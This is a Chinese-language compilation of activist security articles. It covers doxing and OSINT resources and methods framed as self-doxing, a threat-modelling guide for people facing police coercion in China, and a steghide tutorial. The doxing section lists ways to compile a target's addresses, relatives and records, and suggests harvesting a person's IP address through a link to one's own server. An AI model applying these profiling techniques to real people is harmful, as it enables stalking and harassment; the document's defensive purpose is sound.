Doxing 也是侦察的一部分，这种侦查被称为“人工情报—‘humint”，其重点在于目标人/群体的阴影面。这些技术可以或简单或复杂，并且可用于背景检查（渗透可能在这些技术中仍然不可见，但可能会检测到比较小的渗透）关于情报的分类和方法介绍详见《“谷歌地图”是比詹姆斯邦德更棒的间谍》

有不少专门为 d0xing 创建的工具。我更愿意使用尽可能少的自动化工具。因为我更愿意关注那些容易被忽视的细节—— 你越依赖自动的任何东西，你就越容易忽视细节。

但是如果你想使用一个工具并且你不知道用什么，请做一些研究，（如果可能的话）跟踪制造商的资金，以评估代码的安全性。

本指南收集 doxing 资源并作出简要介绍，如果您还有其他更好玩的资源，欢迎留言添加！

——在研究期间存储信息——

请将收集的数据存储在加密的外部磁盘上。

Spies online——

你可以使用相同的（或类似的）在线间谍技术通过敌人的眼睛来看你自己。然后，可以使用该信息尽可能地保护自己免受敌人的攻击。在设置其他匿名或假名身份时，这些相同的资源可用于身份测试。关于如何制作替身，详见 IYP 同栏目的上一篇文章《分裂人格的魅力》以及《抗议须知》、和《角色扮演》。

下面先说资源，后说方法。

——资源——

1、搜索引擎：

Duck Duck Go https://duckduckgo.com/ (anonymous search)

IxQuick https://ixquick.com/

StartPage https://startpage.com/

YaCy http://yacy.net/en/index.html (distributed search)

2、搜人：

Check Usernames http://checkusernames.com/

Lullar http://com.lullar.com/

Peek You http://www.peekyou.com/

Pipl https://pipl.com/

Recorded Future https://www.recordedfuture.com/

Social Mention http://socialmention.com/

WebMii http://webmii.com/

Whos Talkin http://www.whostalkin.com/

3、搜图：

TinEye https://tineye.com/

4、搜帖子和讨论：

Omgili http://omgili.com/

5、IP查找：

与 whois 相关的技术信息——

RFC 954—NICNAME/WHOIS 「/nowiki」http://www.faqs.org/rfcs/rfc954.html

RFC 1834—Whois and Network Information Lookup Service, Whois ++ 「/nowiki」http://www.faqs.org/rfcs/rfc1834.html

Whois clients——

Linux online manpage jwhois http://linux.die.net/man/1/whois

Ripe whois client http://sourceforge.net/projects/whois/files/ (does not check for supported flags at the client side, except for -h (whois host) and -p (whois port))

基于 Web 的 whois 查找——

Geektools http://www.geektools.com/whois.php (also serves as proxy)

Whois at the Open Directory Project http://www.dmoz.org/Computers/Internet/Domain_Names/Name_Search/ with (list of whois servers)

有用的 whois 服务器——

InterNIC http://www.internic.net/whois.html (the main Internic whois)

American Registry for Internet Numbers http://whois.arin.net/ (gives info on who owns a netblock)

Advanced query RADb http://www.radb.net/query/?advanced_query=1 (for routing information from an IP address)

Robtex http://www.robtex.com/ (goodies in a toolbar)

RWhois——

RWHOIS project on ARIN http://projects.arin.net/rwhois/

RWhois Web Interface http://projects.arin.net/rwhois/prwhois.html (a sample rwhois web interface on ARIN using the Net::Rwhois perl5 client)

其他有趣的查找——

The New Ultimates, mostly US data http://www.newultimates.com/

6、D0xing 工具

Sleeping Time http://sleepingtime.org/

Metagoofil http://www.edge-security.com/metagoofil.php

theHarvester http://www.edge-security.com/theharvester.php

7、公开信息：如浏览档案，黄页，电话簿和其他可能有用的信息

欧洲——

档案门户 http://www.archivesportaleurope.net/directory

电子文件档案（POL）http://www.nac.gov.pl/

联邦档案馆（GER）http://www.bundesarchiv.de/index.html.de

乌克兰中央国家电子档案馆 http://tsdea.archives.gov.ua/

国家档案馆（英国）https://www.nationalarchives.gov.uk/

白页和黄页欧洲 http://www.wayp.com/eng/europa3.shtml

乌克兰国家档案局官方门户网站 http://www.archives.gov.ua/

非洲——

南非国家档案馆（NASA）http://www.national.archsrch.gov.za/sm300cv/smws/sm300dl

白页和黄页非洲 http://www.wayp.com/eng/afrika3.shtml

白页（ZA）http://www.whitepages.co.za/

亚洲——

白页和黄页亚洲 http://www.wayp.com/eng/asia3.shtml

大洋洲——

新西兰网络档案馆 http://natlib.govt.nz/collections/az/new-zealand-web-archive

PANDORA，澳大利亚网站档案 http://pandora.nla.gov.au/

南太平洋白页和黄页 http://www.wayp.com/eng/southpas3.shtml

南美洲——

白页和黄页 http://www.wayp.com/eng/amerika3.shtml

北美——

国家档案馆（美国）http://www.archives.gov/

WayBackMachine https://archive.org/web/

白页和黄页美国 http://www.wayp.com/eng/amerika3.shtml

白页（美国）http://www.whitepages.com/

好啦，下面说—— 方法——

您的思考方式是这样的：

- 收集你所知道的关于一个人的一切。在自我人肉中是关于您自

己的一切；
- 坚持信息收集的法律方法—— 不要冒险入狱；
- 使用与平常不同的浏览器，或者，删除浏览器历史记录，Cookie并清除缓存；
- 首先使用工作表进行注释，或使用草稿纸绘制图表；
- 为调查创建一个单独的文件夹，并以您调查的主题命名；
- 将整个网站的照片、头像、屏幕抓取、和 wgets 保存到您的文件夹中。有许多免费的浏览器扩展程序可以全屏抓取，例如 Firefox 的 Awesome Screenshot 或 Chrome 的 Screen Capture Extension。
- 为您的研究创建一个工作文件。将每个 URL 和一段信息转储到其中。对于您添加的每条信息，请提供一个来源。定期组织该文件以将最重要信息放在顶部。制定一个 TL；
- 为最重要的信息制作摘要文件；
- Drive 或 Dropbox 对于与其他调查人员的协作非常有用—— 调查记者、OSINT独立团队、真相爱好者、私人侦探……

为什么要这样做？

- 如果你觉得某人可能是危险的或不值得信任的；
- 如果一个人或多个人在网上骚扰您，并且您想进行风险评估，在此之前您需要了解您的对手。此外 MOSAIC 威胁评估系统是一个详细的指南；
- 如果你正在与一个人互动并怀疑他们可能正在进行恶作剧，您要证实这件事；
- 如果您的判断是一个人对您所处的社区有危险，或者怀疑其为政府间谍，那么如果您愿意，您可以提供一系列支持性证据；
- 还有就是本指南的主题：自我人肉，以确定您应该防备什么。

可能有用的信息，如下：

– 姓名：列出您认识的人使用过的所有姓名。

– 屏幕名：昵称、社交媒体用户名等。这些信息可能会显示某些模式线索。

– 社交媒体资料和网页：Twitter，FB，Foursquare，Flickr 等。

– 电子邮件地址：列出它们；另外，搜索它们。

– 域名：使用 whois。主域名可能会显示其名称或位置。

– IP地址：可以搜索它们或通过它们关联活动。它们可能位于博客评论管理面板、服务器日志或电子邮件标头中。

– 年龄/ DOB：出生日期很有用;查阅法庭记录是必要的。

– 居住地：找到目标人居住的城市和地区。

– 电话号码：收集当前和过去的号码。做反向查找。

– 地址：工作地点，学校（注意 LinkedIn。如果您已登录，目标可能会看到您已查看其页面）

– 互粉的“朋友“：查看目标人的 Facebook，Twitter 关系网，你能得出有用的结论吗？

– 家庭成员：用于对身份进行三角测量式的定位。家谱网站可以在这里提供帮助。 Ancestry.com很好。在某些情况下，可以选择联系家庭成员，要求他们以富有同情心和非威胁性的方式帮助您的调查。一些便衣警察经常这么干。

– 其他在线环聊，邮件列表，社区 ……所有你能找到的地方都要看。

– 究竟是不是目标人：跟踪和区分不是您的目标的但是具有相似名字的人—有助于确保收集的信息属于正确的个人。

– 法院记录：寻找法院和监狱数据库。

以上需要提示的是：它应该同时被反过来看，也就是说为了防御，除了最后两条之外，其余的您都应该想办法避免被不可靠的人知道。尤其是这些信息都不应该出现在互联网上！

——搜索提示——

Rapportive：如果您有电子邮件地址，则可以安装此浏览器扩展程序以查找与其关联的其他社交帐户。安装后，创建一个包含相关地址的草稿电子邮件。将鼠标悬停在电子邮件地址上会弹出报告侧栏信息。

Check references：如果您查到目标人在全国各地的任何组织中做志愿者工作，请联系该组织的某个人询问他们与该人的经历。这可以在不泄露您的怀疑或恐惧的情况下以中立的方式完成，并且也是一种合理的方式来检查一个人对您的组织志愿工作的参考。

搜索姓名＋逮捕，姓名＋骚扰，姓名＋监狱等等：这有时可以快速获得有关滥用和/或犯罪活动的更多信息。

Wayback machine：检查 http://archive.org 以查找旧页面或删除的站点。

——其他说明——

多重身份对于正义者和恶意者来说都有可能是必要的。但是，如果您现在的目的是调查，那么请对多种身份、sockpuppets 和恶作剧保持警惕。

您可能想尝试研究自己的身份，或者与朋友一起看看那里有什么好玩的东西，并减少从各种来源暴露出的关于您的信息量。

如果您拥有对自己的Web服务器的控制权，则可能更容易收集信息。这是拥有您自己网站的一个很好的理由。例如，如果有人私下向您发送消息，请为他们提供指向您的网站的链接。然后收集点击者的IP地址。

专注于像 Twitter 这样的高使用率平台，以绘制目标人的社交图、寻找地理位置、和其他信息的线索。

对于在线骚扰的情况，您可能希望收集帖子或评论，以便将可怕的 trolls 的写作风格与不同名称的新评论进行比较。

——结论——

收集到这些信息之后，您可能会获得更多可帮助您做出决策的信息。

你是否放心这个人不是一个直接的危险？如果是这样，那很好。你的调查取得了成功。

或者，你需要采取进一步措施吗？您想在将来查看此人的活动或犯罪记录吗？或者，您想与他人分享调查结果吗？

当我们分享这些调查信息时，就是正在建立自己的力量。揭露是最强大的抵抗。当我们能够集体行动时，我们也处于更好的政治地位，在复杂的调查中分享合作是一项极其有利的技能；在自我人肉以规避风险时，您所要做的只是想办法去除一切潜在的数字导火索。

关于隐身，后面还有专门文章的更多介绍。〇

原文

来自人身的威胁：如何在敌对环境中保护自己（1）- iyouport

护盾（AS）自我保护措施-技术技巧以防身

【2020年10月28日存档】在中国，您面临的大部分威胁都是来自人身的，而非来自技术……

我们已经介绍过很多安全防御知识，从普通人的安全到敏感人士的需求，从在线到现实中的反侦察反情报策略，基本汇总在下面3个部分：

- 列表-1 “技术防身” 板块
- 列表-1 “反侦察”
- 列表-5 “护盾”

以及两个专题系列：

- “难以被追踪”
- “完美隐身”

以上内容的受众覆盖面很大，基本可以囊括绝大多数人的安全需求；但是并没有按需分层，比如 您的对手是普通的盗窃者还是拥有专业技术的警察、或者无孔不入的间谍？

这里则是一个新系列，本系列内容结合 safeguarddefenders 及其他很多类似渠道提供的建议，并作出了一些更新（因为目前网络上部分内容已经过时）。如题所示，它将侧重于在敌对环境中的安全意识，于是它主要服务于政治敏感人士、记者、活动家、NGO组织、人权律师、异议、以及任何想要在互联网上谈论政治话题而不至于被捕的普通人。

并不是说这些群体需要 “单独” 的一套安全措施 —— 技术角度的安全性对所有人来说并没有太大区别 —— 而是，上述群体需要一些更有针对性的思考方式。

对于中国敏感人士来说，您需要考虑的是，当您被拘留、或您的手机电脑被警察没收的情况下，该怎么办。

> 说到信息安全时，在中国的人们面临的大部分威胁更多是来自人身的，而非来自技术。

其次，相信您在网上或在可能参加过的其他培训中已经接触过大部分安全建议和相关材料，而通常这些材料都汇集了大量的技术性解决方案，其中有很多都是高阶的。

这些培训材料大多缺乏针对如何提升个人安全的具体建议—— 给非专业人士使用的那种通常不是来自高级技术性解决方案的建议（虽然有时候也需要一些技术），非专业人士需要的是那种在操作行为上作出轻微的改变就可以大幅提升安全性的深度讨论。

如果一份安全手册把焦点放在深奥的技术性解决方案上，而没有将它是如何影响我们的日常使用和效率作为考虑， 那它很有可能在一段时间后就被人们抛弃了，只是在初始期会被使用到，渐渐的就会被忽略。

一个真正有用的安全手册应该能在其中找到一个平衡点。

本指南希望以最简单的方式讲述这件事，着重强调可以被纳入习惯操作的一些东西。其中大部分内容我们曾经都提到过，本系列是将它们综合在一起了，但会侧重于中国的一些实际情况。

第一部分：了解您的威胁

「图」

如果没有弄清您所面临的威胁，那么可以保障自己安全的操作步骤是寥寥无几的。

这一部分将简短的概括在中国的人们可能面临的一些最常见的威胁。

1、被胁迫

「图」

在中国的敏感人士面临的人身安全威胁远高于被黑客入侵。关键的威胁就在于被警方或其他人胁迫，让您交出邮箱、云存储或加密数据存

储的密码。

2、疏忽的后门

「图」

您一定不会花掉一个月的薪水买一扇强大的门，然后忘了买把锁，对吧？或是安装了一个安全的大门和锁，但后门却敞开着？不幸的是，在保护数字安全方面，这就是很多人都在犯的错误。

他们会设置非常高阶的密码，也会清除浏览器的痕迹，但是，却在手机里允许应用程序不需要输入密码就能接入同样的服务，或是用手机浏览器使用同样的服务（比如连接工作邮箱和账户）。

这就是将后门敞开着，让任何获得您的手机的人或进入手机的任何人都能查看您的一切信息。

最有效的安全意味着您必须分析自己面临的情势，如何完全正确的使用各种服务和功能，然后堵住所有漏洞。

3、地理位置追踪

「图」

当今的智能手机就是电脑，甚至比联网电脑更危险，因为您不会抱着电脑到处走，但是会随身带着手机；于是通过GPS、网络连接和手机无线电信号都能轻易的追溯到您的行踪。

如果不设防，任何人都可以轻易的追踪到您，而且很简单，还很便宜。并不需要政府才能实施这些追踪，您的手机从没停止过发送地理位置信号，甚至在没有SIM卡的情况下也是如此。

已安装的应用程序也通常会要求连接地理位置。

- 详细介绍，见《你的手机如何背叛了民主？》

4、安全设置

「图」

大部分的电脑操作系统的自带设置都是以使用方便为主，而不是考虑

安全。所以，第一步总是应该查阅所有的设置，做出提升安全性的设置更改。

5、破解密码

「图」

暴力破解并不难。使用BF算法（一分钟能尝试千万种可能）可以在一小时内破解出4–6位数的密码。

在设置与您的安全息息相关的服务密码时，比如您的工作邮箱或加密存储，请先考虑一下密码有多容易被破解。一个简短的密码也许能难住街上捡到您的手机的人，但是，在当您成为警方的目标时却没有任何作用。

设置高强度密码、一个长的随机密码，是必须的。

6、病毒、黑客、ROOTKITS 和其他

「图」

黑客威胁不是本系列的重点，因为在中国发生的几率不高；而病毒和Rootkits 是比较普遍的威胁。确保您有开启防火墙，有运行可靠的杀毒软件，而且设置了自动更新。

定期更新可以确保您的设备具有识别最新威胁的能力，过期的杀毒软件基本上不能保障您的安全。

7、网络连接

「图」

如果当局并不打算拘留您，或是没收您的设备，而是秘密的获取您的信息，您的网络连接自然就会成为攻击的入口。

📌 您是否有定期更换家里路由器的用户名和密码？大多数人恐怕都没有这么做过。路由器的登录密码在网上有公布，几乎所有的路由器都是同样的密码。如果有人能连接您的路由器，那么他们就能进入您的电脑。

8、文件恢复

「图」

当您删除一个文件、清空回收站或从电脑转移一个文件到您的USB或其他外部硬盘时，原文件并没有被删除掉，它们全都停留在原来的地方而且可能会停留很多年。

任何有一点点经验的人就能轻易找到它们，通过下载免费的软件，简单的点击一个按钮就能找到任何从您的电脑中 “删除” 的文件。

- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》

第二部分：预估您的风险和需求

「图」

即便您的工作没有危险到会被指控和迫害的程度，也基本可以肯定您会遭遇监控；如果您认识的人被逮捕，您也会面临被传唤 “协助调查” 的状况—— 您可能会被没收手机和电脑；这种情况下如果您没有提前做好防御准备，会面临很严重的后果。

完善您的日常安全意识可以做到大事化小。

📌 请仔细回答下面的问题：

1、您需要保护的东西是什么？

「图」

您工作的相关信息是哪方面的？如果这些信息落到警察手里，将对您造成什么样的影响？更重要的是，会如何影响到与您合作的其他人？

如果您的整个硬盘都被没收了，警察能从中获得关于您和您的工作的哪些信息？又能获得与您联系的其他人的哪些信息，比如资助人、同事、组织成员或合伙人？

要意识到，如果忽视基本的安全考量会如何影响到您和其他所有人的安全。

2、您使用的哪个设备有风险？

「图」

您是否只有一个手机？也许还有另一个卖给同事了？您只用一个电脑吗，还是也会使用办公室的电脑？或许您有时候会用朋友的电脑查阅自己的邮件吗？…… 列出一个您在使用的或最近在工作中用过的 **所有** 设备的清单。

3、您会有什么样的危险？

「图」

如果您是调查记者/公民记者，一旦情况对您不利，其他人是否很容易就能找到您的文件？如果您是NGO工作者，警方有可能指控您吗，比如针对您的工作内容以及谁提供的资助？或者您是一位当局并不希望被指派法律辩护人的当事人的律师？…… 或者您只是追求自由的公民，传递了被当局封锁的敏感信息？…… 您需要对自己面临的状况有一个清晰的认识。

4、您的威胁来自哪里？

「图」

您最担心的是当地的警察吗？还是国家安全局的间谍？找出谁是最可能加害您的人，再来决定适合您的安全方案。

也许您本人并不是目标，但是您参与工作的组织/媒体/社团是当局针对的目标。如果是这样，谁会威胁到你们？尽管您并不是一个重要的目标，但如果有威胁，您的身份会面临什么？

这些问题您需要仔细思考并尽可能准确回答，这非常重要。这关系到后面的内容对您本人来说的适用性。

第三部分：基本保护行动

「图」

一旦被警察或国安带走，您就几乎失去了所有保护自己的机会。如今在很多国家都是如此，警察几乎拥有为所欲为的执法权力；他们可以让您做任何事，不管是通过威胁您、您的同事或家人，还是通过直接的身体或精神上的酷刑。

🛡 在面临这种情况下，唯一保护自己的方法就是在这之前您已经做好了保障自身安全的基本步骤。

这些步骤其实都非常简单，而正是这些看似简单的步骤，对您来说就相当于是否坐牢的终极决策，或是否将令您最珍惜的人陷入危险困境。

对警方来说如果要用随机的方法获取你的信息，有太多的服务、邮箱、软件，很难让他们有效率地获取。他们需要有一个大概的方向——关于从何处下手。

📌 如果他们强迫您交出某个服务的登录密码，大部分情况下，他们需要先知道您在用什么服务。

在中国，他们可能会估计你有微信账户，在越南，他们会估计你有 Facebook 账户 …… 总之，除了这几个特别普遍使用的服务之外，大部分其他的服务他们都需要先知道您在用的是哪一个。

您平时谈论过自己使用的服务吗？和谁谈论的？在哪里谈论？…… 想必很多人都谈论过相关内容，大多数人是出于好意，希望将自己发现的好玩的东西介绍给朋友，但如果您通过不安全的通讯渠道谈论这些话题、或者说给了不那么可靠的人，而恰好当局正在对您进行 “侦查”，他们就会知道该从哪里对你下手了。

- 《间谍机构使用的开源情报监视方法：指南》
- 《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》

本系列将提供大部分普遍问题的解决方案。

减小可能因为第三方或他人所造成的伤害

「图」

首先，您的账户会被当局发现的原因可能来自于您身边其他人的遭遇。

比如，您使用在线通讯与之联络的伙伴、同事、甚至不怎么熟悉的人，他们可能会被带走，而他们将你们之间联系的信息交了出去，或是他们有可能出卖了你。

📌 也就是说，对于敏感的工作来往，您需要考虑到的不仅仅是你该说什么，还有—如何存储信息。

所以，您首先需要有一个专门的邮件或聊天软件用于最敏感的工作，这个账户或邮箱 *不应该* 被用于您的常规工作和私人交流。

这种账号必须使用假名，使用单独的邮箱注册，也不要在任何邮件的内容、聊天会话中包括任何可能显示您的确切身份、地理位置的信息。包括：不要在自然灾害/现象发生的时候通过此分身账户喊 “我这里地震了”/ “我这里下冰雹了” 等等，这些信息都很容易识别您的位置，结合其他信息就能识别您的身份。

这样，就算是被第三方查出某个账号与另一个人的来往记录，他们也不知道那是谁；就算被捕的人供述出了这个账号属于您，您也有一些程度的否定空间。

🖤 这就是为什么我们建议您分身，并采取假名身份从事敏感的交流和工作。您可以在下面看到具体做法：

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》

上图中这本书在这里下载：https://www.patreon.com/posts/da-yin-yin-yu-hu-38321136

📌 这个问题是最大的顾虑之一、也是您自身最难以控制的部分在于，它会取决于与您合作的其他人的安全意识。所以，您需要尽可能地与具备足够安全意识的人合作，并为安全意识足够但是信任程度不同的合作者分配不同的知情等级。

您最好能在最敏感的互动中使用带有自动销毁（阅后即焚）功能的聊天软件，比如说一小时或一天后即自动删除。比如 Signal、Session、wire、tox 等等，销毁的消息永远无法复原。

自动销毁功能非常重要，尤其是当您与一个不完全信任的人通讯时，或与某个非常缺乏IT 操作技巧的人联系时。使用方法也很简便。

- 《安全手册：这里是你需要的几乎所有基本安全上网工具（1）》
- 《安全工具箱补充版：分类工具列表（2）》

电脑痕迹和证据带来的危害

「图」

一旦您被带走，或是您的电子设备被查抄，当局很可能启动技术化的取证分析；再通过他们所掌握到的各种开源情报和人力情报，更容易强迫您交出某些账户的密码。一旦他们成功，他们所找到的这些信息就很有可能用于对您或您的合作者不利。

比如浏览器，通常可以存储大量的数据。最明显的类型是一个链接到邮箱服务的书签， 或已访问的网站 cookies 和更进阶的数据，还有登录信息甚至是密码。

- 《浏览历史记录曝光你的内心全景图：开源调查演示》

您可以将浏览器设置为自动删除此类信息，但是这意味着每次当你打开浏览器时，都需要重新登录每一个网站，包括社交媒体，购物网站等。加上您也没有使用书签功能，这样会让整个使用电脑的过程非常低效，而且看起来也很可疑。

📌 相反，您应该做的第一件事情是使用双重浏览器策略。一个浏览器用于平日普通的浏览和使用，另一个浏览器用于最敏感的邮件收发和相对敏感的资料搜集工作。

用于工作的浏览器应该设置为关闭时自动清除所有痕迹，也需要添加特定的安全插件，以便协助浏览器的清除工作，更彻底的移除掉更多的痕迹。当然，Tor是最好的，可惜那些寡头企业的服务会将Tor用户视为可疑（《二等公民》），权利组织正在就这个问题进行交涉。

此外，与浏览器一样，操作系统也总是在收集您使用电脑的一切数字痕迹。这包括网站访问、Word文档的打开和编辑、临时数据和文档的复制等等几乎所有动作。对于拥有大量资源的警方和政府来说，获取这些信息并不难。在下面看到具体解释：

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简

单方法（3）》

要应对这个问题，您需要用到一个专门清除这些痕迹和电脑内临时数据的软件，幸运的是，它用起来也并不难。

您的数据

「图」

当然最关键的问题就是您的所有文件了，不管是存储在USB、手机、外部硬盘或电脑内的文档、视频，或照片，保护这些信息的唯一路径就是将它们存储在一个具有高级安全系数的地方，那就是在电脑内的一个加密的、非常隐蔽的硬盘内。

📌 也就是说，如果只是基础加密，警方可以通过直接或数据分析的方式就能找出。所以，要真正的保护好您的信息，就需要使用到“隐藏的”加密空间，让他们根本不知道您有加密的信息存在，这样他们也就无法通过威胁或酷刑让您交出密码。

而且，这个步骤的操作比听起来简单多了。

📌 您也应该将数据存储简单化—— 不要将所有的工作文档都存进这个空间，而是仅存储那些有必要的。

大概浏览一下您的旧文件，很有可能大部分文件您已经不再需要了，草稿、已使用过的文件、协助文件等等，这些都应该彻底删除。仅存储那些真正有需要的文件。

- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》

您也可以将需要保留但可能不会经常用到的旧文件转移到一个安全的云存储。您需要使用一个安全度高的、在中国没有服务器的云存储服务。最好是自己的云，制作方法如下：

- 《如何打造自己的云，逃离监视资本主义：Nextcloud 入门》

📌 另外您也需要留意浏览器中的信息，要确保警方无法发现您所使用的云存储是什么（如果您搜索过它的名字，就比较危险了），也无法获取登录方式。

手机、电脑和APP

「图」

📌 在工作中要将电脑和手机的使用分开，这两者之间不要有重叠。您之前所做的安全步骤都有可能因为疏忽的使用手机而毁于一旦。

自动销毁脚本文件、保持清除浏览器痕迹的动作都很好，但是，如果警方都能在您的手机上轻易的找到这些信息的话，那还能有什么用？

人们通过手机内的App进入账号和服务，使用手机App不仅相当于给予警方直接的（虽然有限的）进入您的账户的通道。比如邮箱，就算是您为手机的App额外设置了密码保护，但这样还是暴露了您在使用的服务，他们还是可以强迫您交出密码。

手机可以让您所做的电脑安全设置功亏一篑，这样的不幸发生过很多次。

📌 请务必仔细研究手机的使用方式，务必避免在手机中使用工作相关或可能被察觉到您在使用的服务App。

此外，不要用手机内的浏览器进入工作（敏感的）邮箱，因为手机内的痕迹是几乎不可能清除掉的。而且，在手机内彻底的删除也非常难。

📌 坚决不要用手机存储任何敏感的文件信息，也不要临时下载任何工作文件后再转移到电脑。

您自己

「图」

最后，您本人是您和周边人最大的威胁。

要保护好您自己的信息、文件和数据，就需要做好充分的计划。

📌 除了做出必要的风险评估之外，您也需要做好预备计划 —— 如果在被带走的情况下您会做出哪些反应？而且还要将您的计划告知几个最信任的、而且是那种不太可能会被带走的朋友。

一旦被审问，什么样的信息是你该说的，什么样的信息是你一定要保护的？（因为一旦进去，您总是要说出一些东西，否则很明显他们会

知道你在隐瞒。您需要迅速衡量不同信息的危险程度，并尽可能准确地抓住要点）

同样地，如果您有同道， 你们需要一起讨论出一个每个人都同意并坚持遵守的应对方案。您也需要考虑到他人最有可能会放弃保护的信息是什么。

🛡 在政治领域有一句俗语：绝不要撒那种公众能够发现的谎。对您来说则是：不要撒警方能够发现的谎。关于这点并没有技术性的解决方案，只能靠您自己的谨慎和智慧了。

最后

「图」

在像泰国、越南、中国等很多国家，获取未实名认证的SIM电话卡可以说是很难。 这也就意味着当所有的互联网服务供应商（ISP）要求您实名设置网络连接时，也就产生了问题。

- 在这里看到相关报告《铁幕之下》

警方可以任意要求任何通信公司和网络公司的日志记录。这些公司通常都有将客户使用服务的记录存储起来，比如他们会记录下您使用手机的情况，包括您的地理位置、网络使用情况等等。

也就是说因为上述，您在手机内所做的一切为了保护数据、隐藏使用的服务等步骤都可能变得徒劳。幸运的是，您可以通过使用VPN或TOR，对互联网服务供应商隐藏上面提到的大部分信息。

- 《在安卓上使用Tor》
- 《在Linux上使用Tor》
- 《在运行 Manjaro Linux 或 CentOS 的计算机上使用Tor》
- 《在网页浏览器中使用Tor》
- 《在Windows上使用Tor》
- 《注意事项：使用 Tor 保护自己时千万不要做这九件事》
- 《如何检查您的VPN连接是否实际加密》
- 《如何验证您的 VPN 连接是否安全？》

📌 手机的安全问题并不是那么容易解决的，所以，对于敏感工作来说，还是建议您使用电脑，而不是手机。

关于密码

「图」

用强密码就不用说了。密码管理器可以帮助您创造超强的密码，并且您只需要记住一个主密码即可。

但是，如果警察破门而入抢走您的电脑，而您的密码管理器就在电脑上 …… 您知道那将有多糟糕。

📌 所以，密码管理器最好是放在一个隐秘的加密的USB中。必须能尽可能确保不被找出来。

🛡 所以，最好的依旧是上述思考方式：让对手找到错误的东西，一旦找到，他们就不会意识到还有其他东西存在。于是您可以使用两个密码管理器，其中一个就放在电脑上，用主密码锁住，在被威胁得足够程度的情况下交出那个主密码，而这个管理器上存有的只是一些无关紧要的密码，而真正重要的东西在另外的隐藏的地方（您自己知道）。

📌 于是这还是需要强调分身：如果警察知道您在推特活跃，而您交出的密码管理器上没有推特密码，只有微信密码，这就很可疑了。于是您的两个密码管理器恰恰应该是切分不同身份的存在，让搜查者找到那个无关紧要的身份，他们就很可能不会想到您还有其他身份。

指纹、虹膜、面部识别

「图」

尽可能不要使用这些东西。它们看起来很高大上，但这些东西更危险 —— 如果您的密码被泄露您能轻易的再建一个新的，但您却不能重建一个新的眼睛和指纹。

并且，审讯者只需要抓住您的手，或固定您的脑袋，就可以强制解锁，您是不是处在清醒状态都不重要。所以，不要使用生物识别解锁方式会比较好。〇

—— 未完待续 ——

原文

隐写术的小心机（1） - iyouport

护盾（AS）

【2019年7月5日存档】你一定听说过隐写术，这是个有意思的东西。它经常和密码学混淆，但这俩不是一个东西。它们的区别是什么？如何在一个普通消息中隐藏重要信息以便在线发布时只有”懂的人”才能懂？推荐一些工具。

隐写术是指学习和运用技术来隐藏消息或对象，是密码学的一部分，真实信息隐藏在被称为载体的东西下面，这样就不会感觉到它的存在。也就是说，它是为了隐藏真实消息，从而建立一个隐蔽的沟通渠道，让沟通的行为本身不被察觉的方法。

请注意，隐写术用于各方之间的通信。为了能够使用隐写术，必须有发送者和接收者之间进行通信的意愿—— 也就是说，如果您的目标接收人不明白您在干什么，该方法就无效。

简单说就是，联合的力量。心要在一处才能做到。

使用隐写术的有用性体现在所谓的囚犯问题上（Gustavus J. Simmons，1983）。这里有两个囚犯A和B，他们想要保密地通信以策划逃跑。问题是，他们只能通过狱卒W交换信息。狱卒可以自己阅读、修改或生成信息。

如果狱卒检测到任何可用于逃逸的通信（例如 检测到加密），将停止发送消息。在这种情况下，囚犯需要建立一个隐秘的通道。

使用隐写术可以让我们拥有一个这样的秘密通道，这样就可以在不被发现的情况下进行通信。隐写术解决囚犯问题的策略是在狱卒允许的信息中隐藏囚犯不想被发现的数据。

虽然隐写术经常与密码学混淆，但它们既是信息保护过程的一部分，又是不同的学科，无论是实施方式还是目标方面。

虽然密码术用于以可能的入侵者无法理解的方式加密信息，但是，隐

写术需要将信息隐藏在载体之下，以便令其看起来不存在。于是，可能的入侵者甚至不知道自己正在传输敏感信息。

一些能够放置隐藏消息的工具是这样的：

Steghide

http://steghide.sourceforge.net/

OpenStego

http://www.openstego.info/

wbStego

http://wbstego.wbailer.com/

Snow http://www.darkside.com.au/snow/index.html

gifshuffle http://www.darkside.com.au/gifshuffle/

JPHIDE y JPSEEK http://linux01.gwdg.de/~alatham/stego.html

Fuse::PDF http://search.cpan.org/~cdolan/Fuse-PDF-0.09/lib/Fuse/PDF.pm

Mp3stego http://www.petitcolas.net/fabien/steganography/mp3stego/

Stelin

http://stelin.sourceforge.net/

使用 Steghide 举一个例子：

⚠ 注意：在开始之前，我们建议您查看如何“从文件中删除元数据”，并删除要使用的文件的元数据。也就是上面那篇文章。这非常重要！

对于此示例，我们需要一个图像和一个文本文件。我们要使用的图片是：

希望您可以在练习结束时发现该文本文件。

要插入的命令是：

```
steghide embed -cf nombredelaimagen.jpg -ef
texto_a_esconder.txt
```

然后

```
steghide embed -cf Rebeldes.jpg -ef Mensaje.txt
```

它会要求安全行为，现在将使用：FB！Warning20

最终的形象是这样：

现在要提取隐藏的消息，命令是：

```
$ steghide extract -sf nombre_de_la_imagen.jpg
```

你能看到这条信息吗？

哈，很棒！下面推荐一些视频教程：

```
1S_Videotutorial 2S_Videotutorial 3S_Videotutorial
```

要考虑的事——

验证两个图像的元数据很有意思。修改前后是否会改变？元数据有哪些变化？

阅读完信息后，您认为要对该图像进行的操作非常重要，您可以在某个时刻发送它，并且隐藏信息的文件将会传播.....

关于 Steghide 您可以在这里找到更多解释。请在您最需要的时候使用它。好运！○

原文

AS26 社交媒体情报和反情报基本工具手册：自我人肉（2） - iyouport

护盾（AS）

【2019年8月21日存档】你对目标的了解越多，找到他或她的弱点就越容易，然后就可以利用这些弱点以发起最有效的攻击。

⚠然而你对自己的弱点很可能不那么了解，而你的敌人很了解。如果你想要防御敌人，那么就最好能首先”变成”自己的敌人 —— 通过他们的眼睛来看自己。

请注意，任何人都可能成为你的敌人 —— 而不仅仅是政府，还包括收钱“办事”的家伙。

最近我们惊讶的得知，早年只在欧美国家流行的私人侦探业务，目前也在中国出现 ；如下图，这是一家做相关业务的团队发布的简易版广告：

你往往不会知道自己在什么时候会得罪什么人。唯一的方法是：提前预防。

